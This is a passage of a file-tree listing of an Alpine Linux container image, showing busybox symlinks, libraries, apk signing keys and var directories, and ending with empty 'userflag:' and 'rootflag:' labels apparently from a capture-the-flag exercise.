│ │ │ │ ├── traceroute6 -> /bin/busybox
│ │ │ │ ├── tree -> /bin/busybox
│ │ │ │ ├── truncate -> /bin/busybox
│ │ │ │ ├── tty -> /bin/busybox
│ │ │ │ ├── ttysize -> /bin/busybox
│ │ │ │ ├── udhcpc6 -> /bin/busybox
│ │ │ │ ├── unexpand -> /bin/busybox
│ │ │ │ ├── uniq -> /bin/busybox
│ │ │ │ ├── unix2dos -> /bin/busybox
│ │ │ │ ├── unlink -> /bin/busybox
│ │ │ │ ├── unlzma -> /bin/busybox
│ │ │ │ ├── unlzop -> /bin/busybox
│ │ │ │ ├── unshare -> /bin/busybox
│ │ │ │ ├── unxz -> /bin/busybox
│ │ │ │ ├── unzip -> /bin/busybox
│ │ │ │ ├── uptime -> /bin/busybox
│ │ │ │ ├── uudecode -> /bin/busybox
│ │ │ │ ├── uuencode -> /bin/busybox
│ │ │ │ ├── vi -> /bin/busybox
│ │ │ │ ├── vlock -> /bin/busybox
│ │ │ │ ├── volname -> /bin/busybox
│ │ │ │ ├── wc -> /bin/busybox
│ │ │ │ ├── wget -> /bin/busybox
│ │ │ │ ├── which -> /bin/busybox
│ │ │ │ ├── who -> /bin/busybox
│ │ │ │ ├── whoami -> /bin/busybox
│ │ │ │ ├── whois -> /bin/busybox
│ │ │ │ ├── xargs -> /bin/busybox
│ │ │ │ ├── xxd -> /bin/busybox
│ │ │ │ ├── xzcat -> /bin/busybox
│ │ │ │ └── yes -> /bin/busybox
│ │ │ ├── lib
│ │ │ │ ├── engines-3
│ │ │ │ │ ├── afalg.so
│ │ │ │ │ ├── capi.so
│ │ │ │ │ ├── loader_attic.so
│ │ │ │ │ └── padlock.so
│ │ │ │ ├── libapk.so.2.14.0
│ │ │ │ ├── libcrypto.so.3
│ │ │ │ ├── libssl.so.3
│ │ │ │ ├── libz.so.1 -> libz.so.1.3.1
│ │ │ │ ├── libz.so.1.3.1
│ │ │ │ ├── modules-load.d
│ │ │ │ ├── os-release
│ │ │ │ ├── ossl-modules
│ │ │ │ │ └── legacy.so
│ │ │ │ └── sysctl.d
│ │ │ │ └── 00-alpine.conf
│ │ │ ├── local
│ │ │ │ ├── bin
│ │ │ │ ├── lib
│ │ │ │ └── share
│ │ │ ├── sbin
│ │ │ │ ├── add-shell -> /bin/busybox
│ │ │ │ ├── addgroup -> /bin/busybox
│ │ │ │ ├── adduser -> /bin/busybox
│ │ │ │ ├── arping -> /bin/busybox
│ │ │ │ ├── brctl -> /bin/busybox
│ │ │ │ ├── chpasswd -> /bin/busybox
│ │ │ │ ├── chroot -> /bin/busybox
│ │ │ │ ├── crond -> /bin/busybox
│ │ │ │ ├── delgroup -> /bin/busybox
│ │ │ │ ├── deluser -> /bin/busybox
│ │ │ │ ├── ether-wake -> /bin/busybox
│ │ │ │ ├── fbset -> /bin/busybox
│ │ │ │ ├── killall5 -> /bin/busybox
│ │ │ │ ├── loadfont -> /bin/busybox
│ │ │ │ ├── nanddump -> /bin/busybox
│ │ │ │ ├── nandwrite -> /bin/busybox
│ │ │ │ ├── nbd-client -> /bin/busybox
│ │ │ │ ├── ntpd -> /bin/busybox
│ │ │ │ ├── partprobe -> /bin/busybox
│ │ │ │ ├── rdate -> /bin/busybox
│ │ │ │ ├── rdev -> /bin/busybox
│ │ │ │ ├── readahead -> /bin/busybox
│ │ │ │ ├── remove-shell -> /bin/busybox
│ │ │ │ ├── rfkill -> /bin/busybox
│ │ │ │ ├── sendmail -> /bin/busybox
│ │ │ │ ├── setfont -> /bin/busybox
│ │ │ │ └── setlogcons -> /bin/busybox
│ │ │ └── share
│ │ │ ├── apk
│ │ │ │ └── keys
│ │ │ │ ├── aarch64
│ │ │ │ │ ├── alpine-devel@lists.alpinelinux.org-58199dcc.rsa.pub -> ../alpine-devel@lists.alpinelinux.org-58199dcc.rsa.pub
│ │ │ │ │ └── alpine-devel@lists.alpinelinux.org-616ae350.rsa.pub -> ../alpine-devel@lists.alpinelinux.org-616ae350.rsa.pub
│ │ │ │ ├── alpine-devel@lists.alpinelinux.org-4a6a0840.rsa.pub
│ │ │ │ ├── alpine-devel@lists.alpinelinux.org-5243ef4b.rsa.pub
│ │ │ │ ├── alpine-devel@lists.alpinelinux.org-524d27bb.rsa.pub
│ │ │ │ ├── alpine-devel@lists.alpinelinux.org-5261cecb.rsa.pub
│ │ │ │ ├── alpine-devel@lists.alpinelinux.org-58199dcc.rsa.pub
│ │ │ │ ├── alpine-devel@lists.alpinelinux.org-58cbb476.rsa.pub
│ │ │ │ ├── alpine-devel@lists.alpinelinux.org-58e4f17d.rsa.pub
│ │ │ │ ├── alpine-devel@lists.alpinelinux.org-5e69ca50.rsa.pub
│ │ │ │ ├── alpine-devel@lists.alpinelinux.org-60ac2099.rsa.pub
│ │ │ │ ├── alpine-devel@lists.alpinelinux.org-6165ee59.rsa.pub
│ │ │ │ ├── alpine-devel@lists.alpinelinux.org-61666e3f.rsa.pub
│ │ │ │ ├── alpine-devel@lists.alpinelinux.org-616a9724.rsa.pub
│ │ │ │ ├── alpine-devel@lists.alpinelinux.org-616abc23.rsa.pub
│ │ │ │ ├── alpine-devel@lists.alpinelinux.org-616ac3bc.rsa.pub
│ │ │ │ ├── alpine-devel@lists.alpinelinux.org-616adfeb.rsa.pub
│ │ │ │ ├── alpine-devel@lists.alpinelinux.org-616ae350.rsa.pub
│ │ │ │ ├── alpine-devel@lists.alpinelinux.org-616db30d.rsa.pub
│ │ │ │ ├── alpine-devel@lists.alpinelinux.org-66ba20fe.rsa.pub
│ │ │ │ ├── armhf
│ │ │ │ │ ├── alpine-devel@lists.alpinelinux.org-524d27bb.rsa.pub -> ../alpine-devel@lists.alpinelinux.org-524d27bb.rsa.pub
│ │ │ │ │ └── alpine-devel@lists.alpinelinux.org-616a9724.rsa.pub -> ../alpine-devel@lists.alpinelinux.org-616a9724.rsa.pub
│ │ │ │ ├── armv7
│ │ │ │ │ ├── alpine-devel@lists.alpinelinux.org-524d27bb.rsa.pub -> ../alpine-devel@lists.alpinelinux.org-524d27bb.rsa.pub
│ │ │ │ │ └── alpine-devel@lists.alpinelinux.org-616adfeb.rsa.pub -> ../alpine-devel@lists.alpinelinux.org-616adfeb.rsa.pub
│ │ │ │ ├── loongarch64
│ │ │ │ │ └── alpine-devel@lists.alpinelinux.org-66ba20fe.rsa.pub -> ../alpine-devel@lists.alpinelinux.org-66ba20fe.rsa.pub
│ │ │ │ ├── mips64
│ │ │ │ │ └── alpine-devel@lists.alpinelinux.org-5e69ca50.rsa.pub -> ../alpine-devel@lists.alpinelinux.org-5e69ca50.rsa.pub
│ │ │ │ ├── ppc64le
│ │ │ │ │ ├── alpine-devel@lists.alpinelinux.org-58cbb476.rsa.pub -> ../alpine-devel@lists.alpinelinux.org-58cbb476.rsa.pub
│ │ │ │ │ └── alpine-devel@lists.alpinelinux.org-616abc23.rsa.pub -> ../alpine-devel@lists.alpinelinux.org-616abc23.rsa.pub
│ │ │ │ ├── riscv64
│ │ │ │ │ ├── alpine-devel@lists.alpinelinux.org-60ac2099.rsa.pub -> ../alpine-devel@lists.alpinelinux.org-60ac2099.rsa.pub
│ │ │ │ │ └── alpine-devel@lists.alpinelinux.org-616db30d.rsa.pub -> ../alpine-devel@lists.alpinelinux.org-616db30d.rsa.pub
│ │ │ │ ├── s390x
│ │ │ │ │ ├── alpine-devel@lists.alpinelinux.org-58e4f17d.rsa.pub -> ../alpine-devel@lists.alpinelinux.org-58e4f17d.rsa.pub
│ │ │ │ │ └── alpine-devel@lists.alpinelinux.org-616ac3bc.rsa.pub -> ../alpine-devel@lists.alpinelinux.org-616ac3bc.rsa.pub
│ │ │ │ ├── x86
│ │ │ │ │ ├── alpine-devel@lists.alpinelinux.org-4a6a0840.rsa.pub -> ../alpine-devel@lists.alpinelinux.org-4a6a0840.rsa.pub
│ │ │ │ │ ├── alpine-devel@lists.alpinelinux.org-5243ef4b.rsa.pub -> ../alpine-devel@lists.alpinelinux.org-5243ef4b.rsa.pub
│ │ │ │ │ └── alpine-devel@lists.alpinelinux.org-61666e3f.rsa.pub -> ../alpine-devel@lists.alpinelinux.org-61666e3f.rsa.pub
│ │ │ │ └── x86_64
│ │ │ │ ├── alpine-devel@lists.alpinelinux.org-4a6a0840.rsa.pub -> ../alpine-devel@lists.alpinelinux.org-4a6a0840.rsa.pub
│ │ │ │ ├── alpine-devel@lists.alpinelinux.org-5261cecb.rsa.pub -> ../alpine-devel@lists.alpinelinux.org-5261cecb.rsa.pub
│ │ │ │ └── alpine-devel@lists.alpinelinux.org-6165ee59.rsa.pub -> ../alpine-devel@lists.alpinelinux.org-6165ee59.rsa.pub
│ │ │ ├── man
│ │ │ ├── misc
│ │ │ └── udhcpc
│ │ │ └── default.script
│ │ └── var
│ │ ├── cache
│ │ │ ├── apk
│ │ │ └── misc
│ │ ├── empty
│ │ ├── lib
│ │ │ └── misc
│ │ ├── local
│ │ ├── lock -> ../run/lock
│ │ ├── log
│ │ ├── mail
│ │ ├── opt
│ │ ├── run -> ../run
│ │ ├── spool
│ │ │ ├── cron
│ │ │ │ └── crontabs -> ../../../etc/crontabs
│ │ │ └── mail -> ../mail
│ │ └── tmp
│ └── oci-layout
└── alpine.tar
userflag:
rootflag: